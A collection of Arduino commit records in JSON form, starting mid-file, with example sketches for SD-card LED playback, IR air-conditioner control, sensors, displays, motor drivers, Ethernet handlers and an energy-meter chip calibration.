frame[200];\n\n\/\/ Test with reduced SPI speed for breadboards.\n\/\/ Change spiSpeed to SPI_FULL_SPEED for better performance\n\/\/ Use SPI_QUARTER_SPEED for even slower SPI bus speed\nconst uint8_t spiSpeed = SPI_FULL_SPEED;\n\n\/\/------------------------------------------------------------------------------\n\/\/ File system object.\nSdFat sd;\n\n\/\/ Serial streams\nArduinoOutStream cout(Serial);\n\n\/\/ SD card chip select\nconst int chipSelect = 4;\n\nvoid setup()\n{\n Serial.begin(9600);\n\n \/\/ Wait for USB Serial\n while (!Serial) {\n SysCall::yield();\n }\n\n cout << F(\"\\nInitializing SD.\\n\");\n if (!sd.begin(chipSelect, spiSpeed)) {\n if (sd.card()->errorCode()) {\n cout << F(\"SD initialization failed.\\n\");\n cout << F(\"errorCode: \") << hex << showbase;\n cout << int(sd.card()->errorCode());\n cout << F(\", errorData: \") << int(sd.card()->errorData());\n cout << dec << noshowbase << endl;\n return;\n }\n\n cout << F(\"\\nCard successfully initialized.\\n\");\n if (sd.vol()->fatType() == 0) {\n cout << F(\"Can't find a valid FAT16\/FAT32 partition.\\n\");\n return;\n }\n if (!sd.vwd()->isOpen()) {\n cout << F(\"Can't open root directory.\\n\");\n return;\n }\n cout << F(\"Can't determine error type\\n\");\n return;\n }\n cout << F(\"\\nCard successfully initialized.\\n\");\n cout << endl;\n\n if (!sd.exists(\"FRACTAL1.DAT\")) {\n cout << F(\"FRACTAL1.DAT file not found.\\n\");\n return;\n }\n\n File infile = sd.open(\"FRACTAL1.DAT\");\n if (!infile.isOpen()) {\n cout << F(\"Failed to open FRACTAL1.DAT\\n\");\n return;\n }\n\n int bytes_read = infile.read(frame, sizeof(frame));\n unsigned long prev_millis = millis();\n\n cout << F(\"\\nFrame size in bytes: \") << sizeof(frame);\n cout << F(\"\\nStarting millis: \") << prev_millis;\n int i = 0;\n while (bytes_read == sizeof(frame)) {\n ++i;\n while (millis() - prev_millis < 50UL) {\n \/\/ busy loop until its time to paint the lights\n }\n prev_millis += 50UL;\n LEDstrip.sendPixels(sizeof(frame) \/ sizeof(*frame), frame);\n bytes_read = infile.read(frame, sizeof(frame));\n }\n cout << F(\"\\nFinal millis: \") << prev_millis;\n cout << F(\"\\nNum frames: \") << i;\n}\n\nvoid loop()\n{\n}\n","subject":"Add draft of Arduino Read SD\/Write Lights loop","message":"Add draft of Arduino Read SD\/Write Lights loop\n\nLots of debugging in here. Currently only handles one file on the SD\ncard - no logic yet to switch to the next when the file runs out.\nTiming is correct, though: every 50 ms, one LED refresh of all 200\nlights is sent, then a new frame is read and we busy loop for the\nremainder of the 50ms time slice.\n","lang":"Arduino","license":"mit","repos":"godlygeek\/LightRender,MaddAddaM\/LightRender"} {"commit":"9ffc28c686ed253fd251a1b6854cbcf4fdd4614d","old_file":"examples\/AnalogReadEasyctrl\/AnalogReadEasyctrl.ino","new_file":"examples\/AnalogReadEasyctrl\/AnalogReadEasyctrl.ino","old_contents":"","new_contents":"\/*\n AnalogReadEasyctrl\n Reads an analog input on pin 0.\n Attach the center pin of a potentiometer to pin A0, and the outside pins to +5V and ground.\n \n This example code is based on the Arduino example AnalogReadSerial\n *\/\n\n#include \"easyctrl.h\"\n\nMonitored sensorValue(\"sensorValue\");\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 115200 bits per second:\n Serial.begin(115200);\n Easyctrl.begin(\"AnalogReadEasyctrl\", Serial);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n \/\/ read the input on analog pin 0:\n sensorValue = analogRead(A0);\n\n \/\/ Let easyctrl run\n Easyctrl.update();\n\n delay(1); \/\/ delay in between reads for stability\n}\n","subject":"Add example of outputting an analog read value","message":"Add example of outputting an analog read value\n","lang":"Arduino","license":"mit","repos":"arachnidlabs\/easyctrl"} {"commit":"af42a4926359833c4b3e2076f65c3601b32e523a","old_file":"examples\/TurnOnKelvinatorAC\/TurnOnKelvinatorAC.ino","new_file":"examples\/TurnOnKelvinatorAC\/TurnOnKelvinatorAC.ino","old_contents":"","new_contents":"\n#include \n\nIRKelvinatorAC kelvir(D1); \/\/ IR led controlled by Pin D1.\n\nvoid printState() {\n \/\/ Display the settings.\n Serial.println(\"Kelvinator A\/C remote is in the following state:\");\n Serial.printf(\" Basic\\n Power: %d, Mode: %d, Temp: %dC, Fan Speed: %d\\n\",\n kelvir.getPower(), kelvir.getMode(), kelvir.getTemp(),\n kelvir.getFan());\n Serial.printf(\" Options\\n X-Fan: %d, Light: %d, Ion Filter: %d\\n\",\n kelvir.getXFan(), kelvir.getLight(), kelvir.getIonFilter());\n Serial.printf(\" Swing (V): %d, Swing (H): %d, Turbo: %d, Quiet: %d\\n\",\n kelvir.getSwingVertical(), kelvir.getSwingHorizontal(),\n kelvir.getTurbo(), kelvir.getQuiet());\n \/\/ Display the encoded IR sequence.\n unsigned char* ir_code = kelvir.getRaw();\n Serial.print(\"IR Code: 0x\");\n for (int i = 0; i < KELVINATOR_STATE_LENGTH; i++)\n Serial.printf(\"%02X\", ir_code[i]);\n Serial.println();\n}\n\nvoid setup(){\n kelvir.begin();\n Serial.begin(115200);\n delay(200);\n\n \/\/ Set up what we want to send. See IRKelvinator.cpp for all the options.\n \/\/ Most things default to off.\n Serial.println(\"Default state of the remote.\");\n printState();\n Serial.println(\"Setting desired state for A\/C.\");\n kelvir.on();\n kelvir.setFan(1);\n kelvir.setMode(KELVINATOR_COOL);\n kelvir.setTemp(26);\n kelvir.setSwingVertical(false);\n kelvir.setSwingHorizontal(true);\n kelvir.setXFan(true);\n kelvir.setIonFilter(false);\n kelvir.setLight(true);\n}\n\nvoid loop() {\n \/\/ Now send the IR signal.\n Serial.println(\"Sending IR command to A\/C ...\");\n kelvir.send();\n printState();\n delay(5000);\n}\n","subject":"Add example code for Kelvinator A\/C control.","message":"Add example code for Kelvinator A\/C control.\n","lang":"Arduino","license":"lgpl-2.1","repos":"markszabo\/IRremoteESP8266,markszabo\/IRremoteESP8266,markszabo\/IRremoteESP8266,markszabo\/IRremoteESP8266"} {"commit":"600c765ffe3ab6056c4b5baccc73e910fb098915","old_file":"libraries\/DS18B20\/examples\/CosaDS18B20calc\/CosaDS18B20calc.ino","new_file":"libraries\/DS18B20\/examples\/CosaDS18B20calc\/CosaDS18B20calc.ino","old_contents":"","new_contents":"\/**\n * @file CosaDS18B20calc.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2015, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * @section Description\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Trace.hh\"\n#include \"Cosa\/IOStream\/Driver\/UART.hh\"\n#include \"Cosa\/Watchdog.hh\"\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaDS18B20calc: started\"));\n}\n\nint32_t iscale(int16_t temp)\n{\n bool negative = false;\n if (temp < 0) {\n temp = -temp;\n negative = true;\n }\n int32_t res = (temp >> 4) * 1000L + (625 * (temp & 0xf));\n return (negative ? -res : res);\n}\n\nfloat32_t fscale(int16_t temp)\n{\n return (temp * 0.0625);\n}\n\n#define CHECK(c,t) trace << PSTR(#c \"=\") << fscale(t) << endl\n\nvoid loop()\n{\n CHECK(+125, 0x07D0);\n CHECK(+85, 0x0550);\n CHECK(+25.0625, 0x0191);\n CHECK(+10.125, 0x00A2);\n CHECK(+0.5, 0x0008);\n CHECK(0, 0x0000);\n CHECK(-0.5, 0xFFF8);\n CHECK(-10.125, 0xFF5E);\n CHECK(-25.0625, 0xFE6F);\n CHECK(-55, 0xFC90);\n ASSERT(true == false);\n}\n","subject":"Add validation of DS18B20 temperature calculation.","message":"Add validation of DS18B20 temperature calculation.\n","lang":"Arduino","license":"lgpl-2.1","repos":"mikaelpatel\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa,mikaelpatel\/Cosa,jeditekunum\/Cosa,jeditekunum\/Cosa,dansut\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa"} {"commit":"35c43899ec3b9d097248e5db6bc8cfd288a7a63a","old_file":"sketches\/clearButtonReceiver.ino","new_file":"sketches\/clearButtonReceiver.ino","old_contents":"","new_contents":"\n\n\/*\n\n Kevyn McPhail\n Deeplocal\n FOB Receiving module code\n\n If Button A is pressed the the arduino returns 1, if button 2 is pressed the arduino returns 2\n Button A input is PIN 3, Button B input is PIN 2, and the momentary button press input is PIN 4.\n On the R02A receiving module, Button A is output D2, Button B is output D3, Momentary button press\n is output VT.\n\n Hardware: Sparkfun Pro Micro 5V\/16MHz\n\n*\/\n\nvoid setup(){\n Serial.begin(9600);\n for (int i = 2; i<5; i++){\n pinMode(i, INPUT);\n }\n}\n\nint firstPin;\nint secondPin;\nint thirdPin;\n\n\n\nvoid loop(){\n firstPin = digitalRead(3);\n secondPin = digitalRead(2);\n thirdPin = digitalRead(4);\n\n if (firstPin == 1 & secondPin == 0 & thirdPin == 1) {\n Serial.println(1);\n delay(200);\n }\n if (firstPin == 0 & secondPin == 1 & thirdPin == 1) {\n Serial.println(2);\n delay(200);\n }\n\n}\n","subject":"Add Kevyn's original clear button sketch","message":"Add Kevyn's original clear button sketch\n","lang":"Arduino","license":"apache-2.0","repos":"EndPointCorp\/appctl,EndPointCorp\/appctl"} {"commit":"d8fcd069f9b3119663da95eb144d2aa811cb6399","old_file":"src\/serial-print.ino","new_file":"src\/serial-print.ino","old_contents":"","new_contents":"\/* Header file that allows for writing of data from arduino to pi *\/\n\n\n#ifndef serial-print_h\n#define serial-print_h\n\n#include \"Arduino.h\"\n\nimport processing.serial.*;\nSerial mySerial;\nPrintWriter output;\nvoid setup() {\n mySerial = new Serial( this, Serial.list()[0], 9600 );\n output = createWriter( \"data.txt\" );\n}\nvoid draw() {\n if (mySerial.available() > 0 ) {\n String value = mySerial.readString();\n if ( value != null ) {\n output.println( value );\n }\n }\n}\n\nvoid keyPressed() {\n output.flush(); \/\/ Writes the remaining data to the file\n output.close(); \/\/ Finishes the file\n exit(); \/\/ Stops the program\n}\n\n#endif\n","subject":"Add file to allow saving arduino output from serial","message":"Add file to allow saving arduino output from serial\n","lang":"Arduino","license":"mit","repos":"AGilchrist0\/balloon"} {"commit":"4804830b82330a0788bb4ff5c16622daaecfd55a","old_file":"examples\/simpletest\/simpletest.ino","new_file":"examples\/simpletest\/simpletest.ino","old_contents":"","new_contents":"#include \n#include \n#include \n\n\/\/ use this to do Color c = RGB(...) instead of `RGB c = RGB(...)` or ssd1351::LowColor c = RGB(...)\n\/\/ because it's slightly faster and guarantees you won't be sending wrong colours to the display.\n\n\/\/ Choose color depth - LowColor and HighColor currently supported\n\/\/ typedef ssd1351::LowColor Color;\ntypedef ssd1351::HighColor Color;\n\n\/\/ Choose display buffering - NoBuffer or SingleBuffer currently supported\n\/\/ auto display = ssd1351::SSD1351();\nauto display = ssd1351::SSD1351();\n\nbool up = false;\nint pos = 127;\nconst int particles = 256;\nint offsets[particles];\nint x_pos[particles];\nint y_pos[particles];\nColor particle_colors[particles];\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Booting...\");\n display.begin();\n Serial.println(\"Display set up.\");\n\n for (int i = 0; i < particles; i++) {\n x_pos[i] = random(0, 128);\n y_pos[i] = random(0, 96);\n particle_colors[i] = ssd1351::RGB(0, i + 10, i\/2 + 10);\n }\n}\n\nvoid loop() {\n unsigned long before = millis();\n display.fillScreen(ssd1351::RGB());\n Color circleColor = ssd1351::RGB(0, 128, 255);\n\n for (int i = 0; i < particles; i++) {\n offsets[i] += random(-2, 3);\n display.drawLine(\n x_pos[i] + offsets[i],\n y_pos[i] + offsets[i],\n pos,\n 80 + sin(pos \/ 4.0) * 20,\n particle_colors[i]\n );\n display.drawCircle(\n x_pos[i] + offsets[i],\n y_pos[i] + offsets[i],\n 1,\n circleColor\n );\n }\n display.updateScreen();\n Serial.println(millis() - before);\n\n if (up) {\n pos++;\n if (pos >= 127) {\n up = false;\n }\n } else {\n pos--;\n if (pos < 0) {\n up = true;\n }\n }\n}\n","subject":"Add simple example for the library","message":"Add simple example for the library\n","lang":"Arduino","license":"bsd-2-clause","repos":"kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351,kirberich\/teensy_ssd1351"} {"commit":"ff3244494c84f403837590209e3026a5ac24b8c4","old_file":"examples\/EthernetCustom\/EthernetCustom.ino","new_file":"examples\/EthernetCustom\/EthernetCustom.ino","old_contents":"","new_contents":"#include \n#include \n#include \"VdlkinoEthernet.h\"\n\nbyte mac[] = {\n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,1,177);\nEthernetServer server(80);\nVdlkinoEthernet vdlkino(14, 6, &server);\n\nvoid url_get_analog_byte(void *block, char *url) {\n VdlkinoBlock *vblock = (VdlkinoBlock*) block;\n char buffer[256];\n char *pc = buffer;\n\n strcpy(pc, url);\n if (pc[0] == '\/') {\n pc++;\n }\n\n pc = strtok(pc, \"\/\");\n if (strcmp(pc, \"analogbyte\")) {\n return;\n }\n\n pc = strtok(NULL, \"\/\");\n if (pc == NULL) {\n return;\n }\n vblock->pin = atoi(pc);\n\n pc = strtok(NULL, \"\/\");\n if (pc != NULL) {\n return;\n }\n vblock->oper = 8;\n vblock->value = 0;\n vblock->valid = 1;\n}\n\nuint16_t get_analog_byte(void *block) {\n VdlkinoBlock *vblock = (VdlkinoBlock*) block;\n return map(analogRead(vblock->pin), 0, 1023, 0, 255);\n}\n\nvoid setup() {\n Ethernet.begin(mac, ip);\n server.begin();\n vdlkino.operations[8] = &get_analog_byte;\n vdlkino.addUrl(&url_get_analog_byte);\n}\n\nvoid loop() {\n vdlkino.run();\n}\n","subject":"Add example of a custom function in ethernet","message":"Add example of a custom function in ethernet\n","lang":"Arduino","license":"mit","repos":"eduardoklosowski\/vdlkino,eduardoklosowski\/vdlkino"} {"commit":"8e2da67c6a9a1724969e75e071a925718cf0ec87","old_file":"arduino_atu.ino","new_file":"arduino_atu.ino","old_contents":"","new_contents":"\/\/ Copyright 2013 David Turnbull AE9RB\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ This is an example application for Arduino to read band\n\/\/ data from the Peaberry V2 ATU port. Typical usage is to\n\/\/ change the band on your amplifier or switch antennas.\n\n\/\/ No support circuitry is needed.\n\/\/ Connect a 1\/8\" jack directly to Arduino pin.\n\/\/ Leave the ring unconnected, it is not used.\n#define ATU_0_PIN 2\n\nvoid setup() {\n Serial.begin(9600);\n}\n\n\/\/ This example prints the band number to the serial\n\/\/ port whenever a change is detected.\nvoid loop() {\n static int band = 0;\n int i = atu_read();\n \n if (i) {\n if (band != i) {\n Serial.println(i);\n }\n band = i;\n }\n}\n\n\/\/ Returns a non-zero value when the read is complete.\nint atu_read() {\n static int state = 5, data[4], previous;\n static long t;\n long m = micros();\n int i, ret = 0;\n \n if (state < 6) switch(state) {\n default:\n i = digitalRead(ATU_0_PIN);\n if (m - t > 7000) state = 5;\n if (previous == HIGH && i == LOW) {\n data[state] = m - t;\n state++;\n }\n if (previous == LOW && i == HIGH) {\n t = m;\n }\n previous = i;\n break;\n case 4:\n for (i=0; i<4; i++) {\n ret <<= 1;\n if (data[i] > 2750) ret |= 0x01;\n }\n \/\/nobreak;\n case 5:\n t = m + 50000;\n digitalWrite(ATU_0_PIN, LOW);\n state = 6;\n break;\n }\n else if (t - m < 0) switch(state) {\n case 6:\n t = m + 50000;\n digitalWrite(ATU_0_PIN, HIGH);\n state = 7;\n break;\n case 7:\n t = m + 5000;\n digitalWrite(ATU_0_PIN, LOW);\n state = 8;\n break;\n case 8:\n t = m;\n previous = LOW;\n state = 0;\n break;\n } \n \n return ret;\n}\n","subject":"Add example for using Arduino to read ATU data","message":"Add example for using Arduino to read ATU data\n","lang":"Arduino","license":"apache-2.0","repos":"AE9RB\/peaberry,AE9RB\/peaberry"} {"commit":"f9643d3004928603d431360242875c313b4b171d","old_file":"examples\/BoardWithCustomData\/BoardWithCustomData.ino","new_file":"examples\/BoardWithCustomData\/BoardWithCustomData.ino","old_contents":"","new_contents":"#include \n#include \n#include \n\nunsigned long timer = 0;\nbyte LEDState = 0;\n\nvoid setup() {\n \/\/ Bring up the OpenBCI Board\n board.begin();\n\n timer = millis();\n\n LEDState = 1;\n digitalWrite(OPENBCI_PIN_LED,HIGH);\n\n}\n\nvoid loop() {\n\n \/\/ Downsample\n if ((millis() - timer) > 20) {\n \/\/ Save new time\n timer = millis();\n sendLEDStatus();\n }\n\n \/\/ Check the serial port for new data\n if (board.hasDataSerial0()) {\n \/\/ Read one char and process it\n char c = board.getCharSerial0();\n\n if (c == '0') {\n \/\/ Make the LED turn OFF when a '0' is sent from the PC\n digitalWrite(OPENBCI_PIN_LED,LOW);\n LEDState = 0;\n } else if (c == '1') {\n \/\/ Make the LED turn ON when a '1' is sent from the PC\n digitalWrite(OPENBCI_PIN_LED,HIGH);\n LEDState = 1;\n }\n }\n}\n\nvoid sendLEDStatus() {\n \/\/ Must have header byte\n Serial0.write('A'); \/\/ 0x41 1 byte\n \/\/ Write the LED state\n Serial0.write(LEDState); \/\/ 1 byte\n \/\/ Fill the rest with fake data\n for (int i = 0; i < 30; i++) {\n Serial0.write(0x00);\n }\n \/\/ Send a stop byte with an `B` or `1011` in the last nibble to indicate a\n \/\/ different packet type.\n Serial0.write(0xCB); \/\/ 1 byte\n}\n","subject":"Add example for sending custom data packets","message":"Add example for sending custom data packets\n","lang":"Arduino","license":"mit","repos":"OpenBCI\/OpenBCI_32bit_Libraries,OpenBCI\/OpenBCI_32bit_Libraries"} {"commit":"1ba08dd0ae83128c3574bfef3e198e8cac31f9e7","old_file":"tinkering\/sensorboard\/light_sensor_check\/light_sensor_check.ino","new_file":"tinkering\/sensorboard\/light_sensor_check\/light_sensor_check.ino","old_contents":"","new_contents":"\n#define LED P1_3\n#define Sensor P1_4\n\nfloat reading;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n Serial.begin(9600);\n\n pinMode(LED, OUTPUT);\n\n pinMode(Sensor, INPUT);\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly: \n\n \/\/ Turn on LED\n digitalWrite(LED, HIGH);\n\n \/\/ Read sensor\n int i;\n for (i=1;i<10;i++) {\n reading = analogRead(Sensor);\n Serial.print(reading);\n Serial.print(\",\\n\");\n delay(100);\n }\n\n \/\/ Turn on LED\n digitalWrite(LED, LOW);\n\n for (i=1;i<10;i++) {\n reading = analogRead(Sensor);\n Serial.print(reading);\n Serial.print(\",\\n\");\n delay(100);\n }\n \n}\n","subject":"Test for photoresistor on sensor board made in class.","message":"Test for photoresistor on sensor board made in class.\n","lang":"Arduino","license":"mit","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs"} {"commit":"543f1b7c048827d19877dad48c3b552d2d33eb1d","old_file":"L9110_hbridge\/L9110_simple_libtest\/L9110_simple_libtest.ino","new_file":"L9110_hbridge\/L9110_simple_libtest\/L9110_simple_libtest.ino","old_contents":"","new_contents":"\/\/ Test L9110 library\n\n#include \n\nL9110 L9110;\n\n\/\/ setup pin for LiPo monitor\nint LiPoMonitor = 2;\n\n\nvoid setup()\n{\n pinMode(LiPoMonitor, INPUT);\n}\n\nvoid loop()\n{\n if (digitalRead(LiPoMonitor) == LOW)\n {\n L9110.forward();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.reverse();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.forwardSlow();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.reverseSlow();\n delay(3000);\n L9110.fullStop();\n delay(500);\n L9110.left();\n delay(1500);\n L9110.fullStop();\n delay(500);\n L9110.right();\n delay(1500);\n L9110.fullStop();\n delay(3000);\n }\n}\n","subject":"Test of new simple functions in L9110 library","message":"Test of new simple functions in L9110 library\n","lang":"Arduino","license":"mit","repos":"AllenRDCo\/Arduino"} {"commit":"84afd3e29a0afa8d2c8e2b6e78fcf210f32982a6","old_file":"examples\/pcf8574_arduinomicro\/pcf8574_arduinomicro.ino","new_file":"examples\/pcf8574_arduinomicro\/pcf8574_arduinomicro.ino","old_contents":"","new_contents":"\/* Example sketch for the PCF8574 for the purposes of showing how to use the interrupt-pin.\n\n Attach the positive lead of an LED to PIN7 on the PCF8574 and the negative lead to GND,\n a wire from Arduino-pin 13 to pin 3 on the PCF8474, a wire from the int-pin on the PCF8574\n to Arduino-pin 7 and wires for SDA and SCL to Arduino-pins 2 and 3, respectively.\n\n If all goes well you should see the small blue LED on the ESP-module lighting up and the\n LED connected to the PCF going off, and vice versa. *\/\n\n#include \n\n\/* We need to set up the I2C-bus for the library to use *\/\n#include \n\n\/\/ Initialize a PCF8574 at I2C-address 0x20\nPCF857x pcf8574(0x20, &Wire);\n\n\/\/If you had a PCF8575 instead you'd use the below format\n\/\/PCF857x pcf8575(0x20, &Wire, true);\n\nbool PCFInterruptFlag = false;\n\nvoid PCFInterrupt() {\n PCFInterruptFlag = true;\n}\n\nvoid setup() {\n Serial.begin(115200);\n delay(5000);\n Serial.println(F(\"Firing up...\"));\n pinMode(13, OUTPUT);\n\n Wire.begin();\n \/\/Set to 400KHz\n Wire.setClock(400000L);\n pcf8574.begin();\n \/\/ Most ready-made PCF8574-modules seem to lack an internal pullup-resistor, so you have to use the MCU-internal one.\n pinMode(7, INPUT_PULLUP);\n pcf8574.resetInterruptPin();\n\n attachInterrupt(digitalPinToInterrupt(7), PCFInterrupt, FALLING);\n}\n\nvoid loop() {\n if(PCFInterruptFlag){\n Serial.println(F(\"Got an interrupt: \"));\n if(pcf8574.read(3)==1) Serial.println(\"Pin 3 is HIGH!\");\n else Serial.println(\"Pin 3 is LOW!\");\n \/\/ DO NOTE: When you write LOW to a pin on a PCF8574 it becomes an OUTPUT.\n \/\/ It wouldn't generate an interrupt if you were to connect a button to it that pulls it HIGH when you press the button.\n \/\/ Any pin you wish to use as input must be written HIGH and be pulled LOW to generate an interrupt.\n pcf8574.write(7, pcf8574.read(3));\n PCFInterruptFlag=false;\n }\n Serial.println(F(\"Blink.\"));\n if(digitalRead(13)==HIGH) digitalWrite(13, LOW);\n else digitalWrite(13, HIGH);\n delay(1000);\n}\n","subject":"Add an example for Arduino Micro (Atmega32u4)","message":"Add an example for Arduino Micro (Atmega32u4)\n","lang":"Arduino","license":"mit","repos":"WereCatf\/PCF8574_ESP"} {"commit":"6dd824617791b455e89ff75aa02337549539e509","old_file":"serial\/low-speed-transmitter\/low-speed-transmitter.ino","new_file":"serial\/low-speed-transmitter\/low-speed-transmitter.ino","old_contents":"","new_contents":"void setup() {\n pinMode(LED_BUILTIN, OUTPUT);\n SerialUSB.begin(2000000);\n}\n\nvoid loop() {\n static int counter = 0;\n SerialUSB.println(counter, DEC);\n counter = (counter + 1) % (1 << 8);\n digitalWrite(LED_BUILTIN, counter >> 7 ? HIGH : LOW);\n delay(20);\n}\n","subject":"Add low speed serial transmitter example","message":"Add low speed serial transmitter example\n","lang":"Arduino","license":"mit","repos":"isaias-b\/arduino-examples,isaias-b\/arduino-examples,isaias-b\/arduino-examples"} {"commit":"9aba36ce4d37fb72c446addf5f355cdb2bce17df","old_file":"examples\/On_Chip_Calibration\/On_Chip_Calibration.ino","new_file":"examples\/On_Chip_Calibration\/On_Chip_Calibration.ino","old_contents":"","new_contents":"\n#include\n\n#define rx 11\n#define tx 12\n\n\/* Choose your board *\/\n\n\/* Arduino UNO and ESP8622 *\/\nCS5490 line(MCLK_default,rx,tx);\n\n\/* ESP and MEGA (Uses Serial2)*\/\n\/\/CS5490 line(MCLK_default);\n\n\nvoid setup() {\n \/\/Initializing communication with CS5490\n \/\/600 is the default baud rate velocity.\n line.begin(600);\n \/\/Initializing communication arduino\/PC to show results in Monitor Serial\n Serial.begin(115200);\n \/\/ wait for serial port to connect. Needed for Leonardo only\n while (!Serial);\n \/\/Set to continous conversion\n line.contConv();\n delay(100);\n}\n\nvoid loop() {\n\n double foo;\n\n Serial.println(\"\\n\\nWithout calibration\");\n line.setDcOffsetI(0); \/\/Reset previous calibration\n foo = line.getInstI();\n Serial.print(\"DC current value: \");\n Serial.println(foo, 5);\n foo = line.getDcOffsetI();\n Serial.print(\"DC offset current value: \");\n Serial.println(foo, 5);\n\n \/*\n -------->Types\n DCoffset\n ACoffset\n Gain\n -------->Channels\n Current\n Voltage\n CurrentAndVoltage\n -------->How to use?\n line.calibrate(type,channel)\n *\/\n line.calibrate(DCoffset,Current);\n\n Serial.println(\"\\n\\nCalibrated\");\n foo = line.getInstI();\n Serial.print(\"DC current value: \");\n Serial.println(foo, 5);\n foo = line.getDcOffsetI();\n Serial.print(\"DC offset current value: \");\n Serial.println(foo, 5);\n\n Serial.println(\"\\nReset arduino to see it again... \");\n while(1);\n\n}\n","subject":"Add On Chip Calibration example","message":"Add On Chip Calibration example\n","lang":"Arduino","license":"mit","repos":"tiagolobao\/CS5490"}